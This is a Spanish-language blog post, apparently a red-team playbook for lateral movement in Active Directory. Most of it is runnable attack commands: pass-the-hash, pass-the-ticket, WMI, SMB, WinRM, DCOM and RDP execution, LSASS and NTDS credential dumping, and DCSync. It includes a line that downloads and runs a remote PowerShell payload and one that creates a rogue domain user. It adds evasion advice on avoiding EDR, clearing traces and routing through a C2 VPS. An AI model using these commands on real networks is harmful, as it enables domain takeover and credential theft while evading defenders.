Una vez que tienes credenciales o una shell en un equipo, empieza el juego real: moverse por la red sin que te detecten. El movimiento lateral en Active Directory es donde la mayoría de los engagements se ganan o se pierden.
Este es el playbook completo. Cada técnica. Las herramientas, los comandos, las notas de detección y las consideraciones de OPSEC que separan un engagement exitoso de uno bloqueado.
¿Qué es el Movimiento Lateral en AD?
El movimiento lateral es el proceso de usar el acceso a un sistema para obtener acceso a otros. En un entorno de Active Directory, esto es especialmente poderoso porque las credenciales, los tickets y los tokens suelen ser reutilizables en todo el dominio.
El objetivo: moverse desde el punto de entrada inicial hacia los objetivos de alto valor — controladores de dominio, servidores de archivos, estaciones de trabajo de administradores, bases de datos.
Prerrequisitos
Antes del movimiento lateral, normalmente necesitas uno de los siguientes:
- Credenciales válidas (texto plano, hash NTLM o ticket Kerberos)
- Admin local en el objetivo (para la mayoría de técnicas de ejecución remota)
- Cuenta de dominio con acceso a los servicios del objetivo
También necesitarás:
- Un VPS en Vultr o DigitalOcean para tu infraestructura de C2 — nunca operes desde tu IP personal
- Impacket, NetExec, Mimikatz o un framework C2 listos para usar
Técnica 1: Pass-the-Hash (PtH)
Qué es: Usar un hash NTLM en lugar de una contraseña en texto plano para autenticarse en servicios remotos. Sin necesidad de romper la contraseña.
Requisitos: Admin local en el objetivo (para ejecución basada en SMB), hash NTLM de una cuenta válida.
PtH con NetExec (NXC)
# Autenticarse en un objetivo específico
nxc smb 192.168.1.10 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# Spray en toda la subred
nxc smb 192.168.1.0/24 -u Administrator -H <HASH_NTLM> --local-auth
# Ejecutar comando remotamente
nxc smb 192.168.1.10 -u Administrator -H <HASH_NTLM> -x "whoami /all"
PtH con Impacket
# Ejecución remota de comandos vía SMB
impacket-psexec [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:<HASH_NT>
# Ejecución WMI (más silenciosa que psexec)
impacket-wmiexec [email protected] -hashes :<HASH_NT>
# SMBexec (sin binario en disco, solo cmd.exe)
impacket-smbexec [email protected] -hashes :<HASH_NT>
PtH con Mimikatz
# Iniciar shell con hash inyectado
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:<HASH_NT> /run:cmd.exe
Notas de OPSEC:
- PsExec escribe un binario de servicio en disco y crea un servicio de Windows — muy ruidoso
- WMIexec y SMBexec son más silenciosos (no dropean binarios)
- El Event ID 4624 (Tipo de inicio de sesión 3) + 4648 se disparan en el objetivo
- La autenticación NetNTLMv2 sobre SMB queda registrada — considera el timing
Técnica 2: Pass-the-Ticket (PtT)
Qué es: Robar o falsificar un ticket Kerberos y usarlo para autenticarse en servicios sin conocer la contraseña de la cuenta.
Requisitos: Acceso a un TGT o TGS (desde LSASS, un archivo de ticket o la salida de Rubeus).
Extraer Tickets con Rubeus
# Listar tickets actuales
Rubeus.exe triage
# Volcar todos los tickets de LSASS
Rubeus.exe dump /nowrap
# Volcar tickets de un usuario específico
Rubeus.exe dump /user:Administrator /nowrap
Pass the Ticket
# Inyectar ticket en la sesión actual
Rubeus.exe ptt /ticket:<Base64_TGT>
# O cargar desde archivo .kirbi
Rubeus.exe ptt /ticket:ticket.kirbi
PtT con Mimikatz
# Exportar tickets desde LSASS
sekurlsa::tickets /export
# Inyectar un ticket
kerberos::ptt ticket.kirbi
# Verificar
klist
PtT con Impacket
# Usar archivo .ccache con herramientas de Impacket
export KRB5CCNAME=/tmp/ticket.ccache
impacket-psexec -k -no-pass corp.local/[email protected]
Notas de OPSEC:
- La autenticación Kerberos (Tipo 3 con Kerberos) genera menos ruido que NTLM
- Los TGTs expiran en 10 horas por defecto — trabaja rápido
- Inyectar tickets en tu propia sesión (PtT) no deja rastros en disco
- Los volcados de tickets desde LSASS activan eventos de acceso a LSASS (Sysmon Event ID 10)
Técnica 3: Ejecución Remota por WMI
Qué es: Usar Windows Management Instrumentation para ejecutar comandos en hosts remotos. Funcionalidad nativa de Windows — no se necesitan herramientas adicionales en el objetivo.
Requisitos: Credenciales válidas, WMI permitido por el firewall (TCP 135 + puertos dinámicos).
WMI vía PowerShell (nativo)
# Ejecutar comando en host remoto
$cred = Get-Credential
Invoke-WmiMethod -ComputerName 192.168.1.10 -Credential $cred -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\Windows\Temp\out.txt"
# Recuperar salida
Get-WmiObject -ComputerName 192.168.1.10 -Credential $cred -Query "SELECT * FROM Win32_Process WHERE Name='cmd.exe'"
WMI vía CIM (moderno, más silencioso)
$sess = New-CimSession -ComputerName 192.168.1.10 -Credential $cred
Invoke-CimMethod -CimSession $sess -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="powershell -enc <BASE64>"}
Impacket WMIexec
# Shell interactiva vía WMI (semi-interactiva, salida vía share)
impacket-wmiexec corp.local/Administrator:'Password123!'@192.168.1.10
# Con hash
impacket-wmiexec -hashes :<HASH_NT> [email protected]
# Comando único
impacket-wmiexec Administrator:'Password123!'@192.168.1.10 "ipconfig /all"
Notas de OPSEC:
- WMI crea procesos hijo bajo
WmiPrvSE.exe— detectable pero común - No dropea archivos (no hay binario de servicio como PsExec)
- El Security Event 4688 se dispara para la creación de procesos con logging de línea de comandos habilitado
- Sysmon Event ID 1 + el log operacional de WMI-Activity captura las queries WMI
Técnica 4: Ejecución SMB + Estilo PsExec
Qué es: Escribir y ejecutar un binario de servicio sobre SMB. Técnica clásica, sigue funcionando, extremadamente ruidosa.
Ejecución SMB con NetExec
# Ejecutar comando
nxc smb 192.168.1.10 -u Administrator -p 'Password123!' -x "net user hacker H@cker123! /add /domain"
# Ejecutar PowerShell
nxc smb 192.168.1.10 -u Administrator -p 'Password123!' -X "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/payload.ps1')"
# Usar método de ejecución específico
nxc smb 192.168.1.10 -u Administrator -p 'Password123!' --exec-method wmiexec -x "whoami"
Impacket PsExec
# Shell interactiva completa (crea servicio + binario)
impacket-psexec corp.local/Administrator:'Password123!'@192.168.1.10
# Cambiar nombre del pipe (ocultar el nombre por defecto PSEXECSVC)
impacket-psexec corp.local/Administrator:'Password123!'@192.168.1.10 -service-name svchost
SMBexec (Sin Binario en Disco)
# Ejecuta comandos completamente mediante batch files — no escribe binarios
impacket-smbexec corp.local/Administrator:'Password123!'@192.168.1.10
Notas de OPSEC:
- PsExec = Sysmon Event 1, Security 7045 (servicio instalado), 4697 — siempre lo detectan los EDR
- SMBexec es más silencioso pero igual crea batch files en
C:\Windows\ - Nunca uses PsExec en un engagement real a menos que quieras que te detecten
Técnica 5: WinRM
Qué es: Windows Remote Management — PowerShell remoting sobre HTTP (5985) o HTTPS (5986). Integrado y cada vez más común en entornos modernos.
Requisitos: WinRM habilitado en el objetivo (por defecto en Server 2012+, no en workstations), credenciales válidas o hash.
PowerShell Remoting Nativo
# Sesión interactiva
Enter-PSSession -ComputerName 192.168.1.10 -Credential (Get-Credential)
# Una sola línea
Invoke-Command -ComputerName 192.168.1.10 -Credential $cred -ScriptBlock { whoami; hostname }
# Ejecutar script remotamente
Invoke-Command -ComputerName 192.168.1.10 -Credential $cred -FilePath C:\scripts\payload.ps1
Evil-WinRM (Cliente WinRM para Red Team)
# Conectar con contraseña
evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!'
# Conectar con hash (PtH)
evil-winrm -i 192.168.1.10 -u Administrator -H <HASH_NT>
# Conectar con ticket Kerberos
evil-winrm -i dc01.corp.local -r corp.local -u Administrator
# Subir archivo durante la sesión
upload /tmp/SharpHound.exe C:\Windows\Temp\SharpHound.exe
# Descargar archivo
download C:\Windows\NTDS\NTDS.dit /tmp/NTDS.dit
NetExec WinRM
# Verificar acceso WinRM
nxc winrm 192.168.1.0/24 -u Administrator -p 'Password123!'
# Ejecutar comando
nxc winrm 192.168.1.10 -u Administrator -p 'Password123!' -x "whoami"
Notas de OPSEC:
- WinRM registra en
Microsoft-Windows-WinRM/OperationalyPowerShell-Operational - El script block logging (si está habilitado) captura todos los comandos PS
- HTTPS (5986) encripta el tráfico — más difícil de inspeccionar pero los mismos eventos de log
- Evento de creación de sesión: Security 4624 Logon Type 3
Técnica 6: Movimiento Lateral con DCOM
Qué es: Distributed Component Object Model — mecanismo de Windows para la comunicación entre procesos. Varios objetos DCOM pueden ejecutar código remotamente.
Requisitos: Admin local en el objetivo, DCOM permitido por el firewall.
DCOM vía PowerShell
# MMC20.Application (técnica clásica)
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "192.168.1.10"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c whoami > C:\Windows\Temp\out.txt", "7")
# ShellWindows
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Shell.Application", "192.168.1.10"))
$com.Windows() | ForEach-Object { $_.Document.Application.ShellExecute("cmd.exe", "/c whoami > C:\Windows\Temp\out.txt", "C:\Windows\System32", $null, 0) }
Objetos DCOM Comunes para Ejecución
| Objeto | ProgID | Notas |
|---|---|---|
| MMC20.Application | MMC20.Application | Clásico, ampliamente conocido |
| ShellWindows | Shell.Application | Se lanza bajo Explorer |
| ShellBrowserWindow | ShellBrowserWindow | Similar a ShellWindows |
| Excel.Application | Excel.Application | Requiere Office instalado |
Notas de OPSEC:
- DCOM lanza procesos bajo procesos padre legítimos (mmc.exe, explorer.exe) — se mezcla con el entorno
- Menos detecciones que PsExec históricamente, pero los EDR modernos ya tienen reglas para ejecución DCOM
- El firewall debe permitir TCP 135 (RPC endpoint mapper) + puertos RPC dinámicos
Técnica 7: Movimiento Lateral con RDP
Qué es: Remote Desktop Protocol. Alta visibilidad pero a veces necesario, especialmente para objetivos que requieren GUI.
RDP con Credenciales Robadas
# Linux → Windows
xfreerdp /u:Administrator /p:'Password123!' /v:192.168.1.10 /cert-ignore
# Con hash (el modo Restricted Admin debe estar habilitado en el objetivo)
xfreerdp /u:Administrator /pth:<HASH_NT> /v:192.168.1.10 /cert-ignore
# Habilitar Restricted Admin remotamente (requiere derechos de admin)
nxc smb 192.168.1.10 -u Administrator -p 'Password123!' -x "reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f"
Secuestro de Sesión RDP (Sin Credenciales)
# Listar sesiones activas
query session
# Secuestrar sesión desconectada (requiere privilegios SYSTEM)
tscon <ID_SESION> /dest:<NOMBRE_SESION_ACTUAL>
Notas de OPSEC:
- RDP deja registros significativos: Security 4624 (Tipo 10), TerminalServices-LocalSessionManager, RDP-Tcp
- RDP a un DC es extremadamente sospechoso — evítalo a menos que sea necesario
- Secuestrar sesiones desconectadas (tscon) no requiere credenciales y no genera un nuevo evento de inicio de sesión
Técnica 8: Impersonación de Tokens
Qué es: Robar o suplantar tokens de otros usuarios que tienen sesión en el sistema. Si hay un admin conectado, su token puede estar disponible.
Incognito / Metasploit
# Metasploit - listar tokens disponibles
meterpreter > use incognito
meterpreter > list_tokens -u
# Impersonar un token
meterpreter > impersonate_token "CORP\\Administrator"
# Revertir
meterpreter > rev2self
Invoke-TokenManipulation (PowerShell)
# Listar tokens
Invoke-TokenManipulation -Enumerate
# Impersonar y lanzar shell
Invoke-TokenManipulation -Username "corp\Administrator" -CreateProcess "cmd.exe"
Make Token (Cobalt Strike / Manual)
# Crear sesión de inicio de sesión con credenciales sin autenticarse todavía
runas /netonly /user:corp\Administrator cmd.exe
# O vía Cobalt Strike: make_token domain\user password
Notas de OPSEC:
- La manipulación de tokens opera en memoria — sin artefactos en disco
- Requiere SeImpersonatePrivilege o SeAssignPrimaryTokenPrivilege
- Las cuentas de servicio frecuentemente tienen SeImpersonatePrivilege — considera ataques tipo potato si tienes acceso a una cuenta de servicio
Técnica 9: Extracción de Credenciales para Movimiento Lateral
El movimiento lateral depende de las credenciales. Aquí está donde encontrarlas:
Volcado de LSASS
# Mimikatz (interactivo)
sekurlsa::logonpasswords
# Mimikatz (desde archivo — volcar primero, parsear offline)
procdump -ma lsass.exe lsass.dmp
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
# Remotamente vía NetExec
nxc smb 192.168.1.10 -u Administrator -p 'Password123!' -M lsassy
nxc smb 192.168.1.10 -u Administrator -p 'Password123!' -M nanodump
Base de Datos SAM (Cuentas Locales)
# Impacket secretsdump (remoto)
impacket-secretsdump corp.local/Administrator:'Password123!'@192.168.1.10
# Mimikatz (local)
lsadump::sam
NTDS.dit (Hashes del Dominio — El Gran Premio)
# Impacket secretsdump vía DCSync (sin necesidad de archivo)
impacket-secretsdump corp.local/Administrator:'Password123!'@DC01 -just-dc
# O con hash
impacket-secretsdump -hashes :<HASH_NT> corp.local/Administrator@DC01 -just-dc
# NetExec
nxc smb DC01 -u Administrator -p 'Password123!' --ntds
Credenciales en Caché
# Mimikatz — credenciales de dominio en caché (hashes DCC2)
lsadump::cache
Encadenando Técnicas: Flujo del Mundo Real
Una cadena típica de movimiento lateral se ve así:
Punto de entrada inicial (usuario con bajos privilegios en WORKSTATION01)
→ Escalada de privilegios (admin local vía exploit o configuración débil)
→ Volcado de LSASS (obtener hashes NT de usuarios con sesión activa)
→ Identificar hash de alto valor (Domain Admin o cuenta de sysadmin)
→ Pass-the-Hash → WMIexec a FILESERVER01
→ Extraer más credenciales en FILESERVER01
→ Kerberoast desde nuevo contexto → crackear hash de cuenta de servicio
→ PtH a DB-SERVER o directo a DCSync si tienes derechos de replicación
→ DCSync → todos los hashes del dominio
→ Golden ticket o PTT para mantener persistencia
Detección: Qué Buscan los Blue Teams
Entender la detección ayuda a moverse con mayor inteligencia:
| Técnica | Event IDs Clave | Fuente de Log |
|---|---|---|
| PtH | 4624 (Tipo 3), 4648 | Security |
| PtT | 4768, 4769, 4770 | Security |
| Ejecución WMI | 4688, WMI-Activity 5857/5860/5861 | Security + WMI |
| PsExec | 7045, 4697, 4688 | Security + System |
| WinRM | 4624, WinRM/Operational | Security + WinRM |
| DCOM | 4688 (relación padre/hijo inusual) | Security + Sysmon |
| DCSync | 4662 (derechos DS-Replication) | Security |
| Acceso LSASS | Sysmon ID 10 | Sysmon |
Detecciones de alta señal:
- Cualquier máquina que no sea un DC realizando DCSync (4662 con GUIDs de replicación)
- Acceso a LSASS desde procesos que no son del sistema (Sysmon 10)
- Ejecución de herramientas de movimiento lateral (instalación del servicio psexec, 7045)
- Patrones de Pass-the-Hash: autenticación NTLM desde cuentas que normalmente usan Kerberos
Checklist de OPSEC para Movimiento Lateral
Antes de mover lateralmente:
- Conoce el footprint de tu herramienta — PsExec escribe servicios, WMIexec no
- Usa herramientas nativas primero (LOLBins: wmic, net, sc, reg) antes de dropear binarios
- Ajusta al horario laboral — el movimiento lateral a las 3am llama la atención
- Limpia tu rastro — elimina archivos dropeados, limpia el historial de comandos, restaura claves de registro
- Evita los DCs hasta que sea necesario — el tráfico anómalo hacia DCs dispara alertas
- Usa tu propio VPS de C2 — nunca enrutes a través de tu IP personal; Vultr y DigitalOcean funcionan bien para esto
- Quédate en memoria — los artefactos en disco los captura AV/EDR; la ejecución en memoria dura más
- Mezcla con el entorno — usa protocolos normales para ese segmento (WinRM en servidores, RDP en máquinas de admin)
Resumen de Herramientas
| Herramienta | Mejor Para | Nivel de Ruido |
|---|---|---|
| NetExec (NXC) | Spraying, ejecución SMB/WinRM, ecosistema de módulos | Medio |
| Suite Impacket | PtH, WMIexec, SMBexec, secretsdump | Bajo–Medio |
| Mimikatz | Extracción de credenciales, PtH, PtT | Alto (detectado por AV) |
| Rubeus | Operaciones con tickets Kerberos (request, dump, ptt, roast) | Medio |
| Evil-WinRM | Shells interactivas WinRM con soporte PtH | Bajo |
| BloodHound | Búsqueda de rutas — saber a dónde ir antes de moverse | Ninguno (la recolección de datos es media) |
Artículos Relacionados
- Pass-the-Hash vs Pass-the-Ticket: Guía Completa — análisis profundo de las técnicas de relay de credenciales
- Ataque DCSync: Extrayendo Credenciales de AD con Mimikatz — qué sucede cuando alcanzas derechos de replicación
- Ataque Kerberoasting: Cómo Funciona y Cómo Explotarlo — compromiso de cuentas de servicio
- Guía Completa de BloodHound: Mapeo de Rutas de Ataque en AD — mapea el camino antes de moverte
- Guía Completa de NetExec (CrackMapExec) 2026 — domina la herramienta usada en la mayoría de estas técnicas
Laboratorios de Práctica
Necesitas un entorno AD activo para practicar esto correctamente. Algunas opciones:
- Vultr — Levanta 2–3 VMs de Windows por $20–30/mes. Configura tu propio laboratorio de AD en horas.
- DigitalOcean — Lo mismo, precios sólidos en droplets Windows.
- Hack The Box Pro Labs — ADSEC y RastaLabs cubren movimiento lateral en profundidad.
- TryHackMe — Las rutas de AD son sólidas para principiantes antes de pasar a HTB.
¿Necesitas que tus reportes de pentest destaquen? CipherWrite entrega contenido de seguridad de nivel profesional — reportes, whitepapers y write-ups técnicos que realmente comunican el riesgo.
